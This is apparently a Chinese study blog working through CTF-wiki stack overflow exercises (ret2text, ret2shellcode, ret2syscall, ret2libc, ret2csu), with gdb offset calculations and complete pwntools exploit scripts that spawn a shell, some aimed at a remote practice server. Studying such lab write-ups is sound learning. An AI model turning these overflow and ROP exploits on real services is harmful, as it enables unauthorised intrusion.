栈溢出
网站:https://ctf-wiki.org/
附言:所有的学习均在本地测试,远程可以使用socat或者docker部署
ret2text
保护检查
32位,开启NX保护。
查看调用的函数
发现sysytem、printf、gets、puts等。
ida打开看看(F5反汇编)
shift+f12查看字符串
很明显,在主函数中,gets函数存在栈溢出,并且字符串中调用了/bin/sh,追踪发现secure调用了system(“/bin/sh”),记录一下地址。
可以造成溢出的gets函数
需要计算s相对于返回地址的偏移,可以使用gdb动态调试得到,也可以直接利用ida给出的偏移值计算(这个方法在主函数使用时候经常是给出的偏移是错误的)
调试
使用gdb动态调试:
1 2 3 4 5 6 7 8
| gdb ret2text
pwndbg> b *0x080486AE
pwndbg> r
pwndbg> info reg
|
执行截图如下:
1 2 3 4 5 6 7
| gdb动态调试计算偏移 由图可知 esp 0xffffcf20 ebp 0xffffcfa8 s=esp+1ch=ffffcf3c s相对于ebp偏移:offset=ebp-s=0x6c =>s相对于返回地址的偏移(因为是32位,所以直接+4):0x6c+4
|
攻击思路
利用gets函数进行栈溢出,并且修改返回的地址
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=process('./ret2text')
junk=b'a'*(0x6c+4) shellc=0x0804863A payload=junk+p32(shellc)
io.sendline(payload) io.interactive()
|
拿到shell
ret2shellcode
保护检查
32位,没有开启保护,说明栈上可执行
可以看到一些经常利用的函数,如gets…
ida打开看看
可以造成溢出的gets函数(因为gets没有设置字符串长度)
看主函数,可以知道当输入完s(长度为100)后,使用strncpy把s的数据复制到buf2,因为buf2没有在主函数中设出来,所以应该是一个全局变量,未初始化的全局变量一般保存在bss段中,双击buf2变量,看一下
使用gdb调试看看
1 2 3 4 5 6 7 8
| gdb ret2shellcode
pwndbg> b main
pwndbg> r
pwndbg> vmmap
|
由ida中的bss地址看到所属的区域(在第一行里)是具有可执行的权限的。
通过主函数可以知道把s的数据复制到buf2这个可以执行的bss段上,复制的大小是0x64,0x64-0x1C=0x48=72,大小足够了,直接使用pwntools提供的函数即可,可以看一下pwntools中构造 shellcode的字符串长度
这个是32位的shellc
这个是64位的shellc
对于偏移的计算,跟上面的ret2text原理一样
1 2 3 4 5 6 7 8
| gdb ret2shellcode
pwndbg> b *0x08048593
pwndbg> r
pwndbg> info reg
|
1 2 3 4 5
| esp 0xffffcef0 ebp 0xffffcf78 s=esp+0x1c=ffffcf0c s相对于esp的偏移:ebp-s=0x6c =>s相对于返回地址的偏移:0x6c+4
|
攻击思路
利用gets函数造成栈溢出修改返回地址为buf2的地址,在s中填充shellcode(需要填满,空余的用其他垃圾数据填充)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import*
context(os='linux',arch='i386',log_level='debug') io=remote('101.35.231.134',10000)
shellc=asm(shellcraft.sh()) buf2_addr=0x0804A080
payload=shellc.ljust(0x6c+4,b'a')+p32(buf2_addr) io.sendline(payload) io.interactive()
|
拿到shell
ret2syscall
保护检查
32位,开启了NX保护
ida查看程序文件
看到了危险函数gets函数
跟前面一样,动调算一下偏移值
1 2 3 4 5
| esp 0xffffcf30 ebp 0xffffcfb8 v4--->esp+0x1c=0xffffcf4c v4相对于ebp偏移--->offset=0x6c 因为是32位,故v4相对于返回地址的偏移--->0x6c+4
|
可以利用系统调用来获取shell,比较常用的是下面这个
1 2 3 4 5
| execve("/bin/sh",NULL,NULL) 系统调用号,即 eax 应该为 0xb 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。 第二个参数,即 ecx 应该为 0 第三个参数,即 edx 应该为 0
|
对于对应的参数,可以借鉴这个网站:https://publicki.top/old/syscall.html
使用ROPgadget查找gadgets
eax的gadgets
使用我选中的那一行可以直接对ebx、ecx、edx进行赋值
/bin/sh这个字符串的地址
int 0x80的地址
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import*
io=process('./rop') context(os='linux',arch='i386',log_level='debug')
junk=b'a'*(0x6c+4) pop_eax=0x080bb196 pop_e3x=0x0806eb90 bin_sh=0x080be408 int_0x80=0x08049421
payload=junk+p32(pop_eax)+p32(0x0b)+p32(pop_e3x)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80)
io.sendline(payload) io.interactive()
|
拿到shell
ret2libc
例1
保护检查
32位,开启NX检查
查看调用了的一些函数,可以看到gets、system函数
ida打开看看
发现可以造成溢出的gets寒素
在plt表中可以看到调用了system函数(在初始页面按ctrl+s选择plt表跳转)
在查看字符串的时候(shift+f12),发现字符串/bin/sh
现在整理一下可以利用的东西:可以造成溢出的gets函数、系统调用函数system以及字符串/bin/sh
除了可以通过ida直接查看字符串的地址,还可以通过ROPgadget
计算s和返回地址的偏移(方法和前面一样)
1 2 3 4 5 6
| esp 0xffffcf10 ebp 0xffffcf98
s:esp+0x1c=0xffffcf2c s相对于ebp的偏移:offset=ebp-s=0x6c s相对于返回地址的偏移:0x6c+4
|
攻击思路
利用gets函数的栈溢出修改返回地址并使之执行system(“/bin/sh”),拿到shell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=process('./ret2libc1') elf=ELF('./ret2libc1')
junk=b'a'*(0x6c+4) bin_sh=0x08048720 system_plt=elf.plt['system']
payload=junk+p32(system_plt)+b'bbbb'+p32(bin_sh)
io.sendline(payload)
io.interactive()
|
拿到shell
例2
保护检查
和例1一样,32位,开启NX保护
ida打开看看
可以造成栈溢出的gets函数
查看字符串(shift+f12),和第一题相比,可以看到没有了字符串/bin/sh
在plt表中可以找到system函数
在bss段可以找到一个连续的空间,并且动调发现bss段可执行
计算s和返回地址的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pwndbg> info reg eax 0xffffcf2c -12500 ecx 0xffffffff -1 edx 0x13 19 ebx 0x0 0 esp 0xffffcf10 0xffffcf10 ebp 0xffffcf98 0xffffcf98 esi 0xf7fb2000 -134537216 edi 0xf7fb2000 -134537216 eip 0x80486ba 0x80486ba <main+114> eflags 0x286 [ PF SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
s相对于返回地址的偏移:ebp-(esp+0x1c)+4=0x6c+4
|
攻击思路
和例1很像,不过缺少字符串/bin/sh,故可以调用gets函数把字符串/bin/sh写道bss段上,然后修改返回地址执行system(“/bin/sh”)
buf2的地址
pop_ebx
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=process('./ret2libc2') elf=ELF('./ret2libc2')
junk=b'a'*(0x6c+4) buf2_addr=0x0804A080 pop_ebx=0x0804843d gets_plt=elf.plt['gets'] system_plt=elf.plt['system']
payload=junk+p32(gets_plt)+p32(pop_ebx)+p32(buf2_addr)+p32(system_plt)+b'bbbb'+p32(buf2_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
|
关于payloa的构造,wiki上面没有详细说明,为了方便理解,画了一张流程图
我先开始也看不太明白,请教了高师傅后才理解的,后来高师傅还给我推荐了一个构造payload的方法
1
| payload = b'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(buf2)+p32(buf2)
|
这个在栈上的分布如下图所示
拿到shell
例3
保护检查
32位,开启NX保护
ida打开看看
发现危险函数gets函数
计算s和返回地址的偏移(方法和之前一样)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pwndbg> info reg eax 0xffffcf2c -12500 ecx 0xffffffff -1 edx 0x12 18 ebx 0x0 0 esp 0xffffcf10 0xffffcf10 ebp 0xffffcf98 0xffffcf98 esi 0xf7fb2000 -134537216 edi 0xf7fb2000 -134537216 eip 0x804868a 0x804868a <main+114> eflags 0x286 [ PF SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
s相对于返回地址的偏移:offset=ebp-(esp+0x1c)+4=0x6c+4
|
程序中可以利用的最明显的就是gets函数的溢出。
攻击思路
利用gets函数的溢出泄露出libc版本,进而获取到system地址和/bin/sh地址,再次执行程序出发栈溢出执行system(“/bin/sh”)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import* from LibcSearcher import*
context(os='linux',arch='i386',log_level='debug') io=remote('101.35.231.134',10000)
elf=ELF('./ret2libc3')
junk=b'a'*(0x6c+4) puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main']
payload=junk+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendlineafter('Can you find it !?',payload)
puts_addr=u32(io.recvuntil('\xf7')[-4:])
print('puts_addr--->{}'.format(hex(puts_addr)))
libc=LibcSearcher('puts',puts_addr) base=puts_addr-libc.dump('puts') system=base+libc.dump('system') bin_sh=base+libc.dump('str_bin_sh')
payload=b'a'*104+p32(system)+b'bbbb'+p32(bin_sh) io.sendline(payload) io.interactive()
|
当使用LibcSearcher查询不到时候(好像是版本的问题打不出来),可以到网上去在线查询,输入相关的函数的地址(后3位即可),在线查询网:https://publicki.top/libc/ 或者 https://libc.rip/
本地没pwn掉应该是因为我用的是Ubuntu20的版本问题
但是远程可以打通的
ret2csu
借鉴的博客:https://blog.csdn.net/AcSuccess/article/details/104448463
检查保护
64位,开启了NX保护,即堆栈段不可执行
ida打开看看
调用的函数
可以看到read函数存在栈溢出,因为buf的字长是128,而读入的数据长度是0x200。
程序中没有system函数的调用,也没有字符串/bin/sh,故两个都需要自己去构造
攻击思路
1、利用栈溢出执行 libc_csu_gadgets 获取 read 函数地址,并使得程序重新执行 main 函数
2、根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
3、再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 ‘/bin/sh’ 地址,并使得程序重新执行 main 函数。
4、再次利用栈溢出执行 libc_csu_gadgets 执行 execve(‘/bin/sh’) 获取 shell。
这题ctf-wiki讲的不是很详细,我上网找了找相关的题解,除了借鉴的博客,狼组安全的文库对这个题型进行了详细的讲解
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import* from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug') io=remote('101.35.231.134',10000)
elf=ELF('./level5')
offset=128+8
first_csu=0x400606 second_csu=0x4005f0
def ret_csu(r12,r13,r14,r15,last): payload=b'a'*offset payload+=p64(first_csu)+b'a'*8 payload+=p64(0)+p64(1) payload+=p64(r12)+p64(r13)+p64(r14)+p64(r15) payload+=p64(second_csu)+b'a'*56+p64(last) return payload
write_got=elf.got['write'] start_addr=0x0000000000400460
io.recv()
payload=ret_csu(write_got,1,write_got,8,start_addr) io.sendline(payload)
write_addr=u64(io.recv(8)) print('write_addr-->{}'.format(hex(write_addr)))
libc=LibcSearcher('write',write_addr) base=write_addr-libc.dump('write') system=base+libc.dump('system') bin_sh=base+libc.dump('str_bin_sh')
read_got=elf.got['read'] bss_addr=0x601028
payload=ret_csu(read_got,0,bss_addr,18,start_addr) io.sendlineafter('Hello, World\n',payload) io.sendline(p64(system)+b'/bin/sh\x00')
payload=ret_csu(bss_addr,bss_addr+8,0,0,start_addr) io.sendlineafter('Hello, World\n',payload)
io.interactive()
|
拿到shell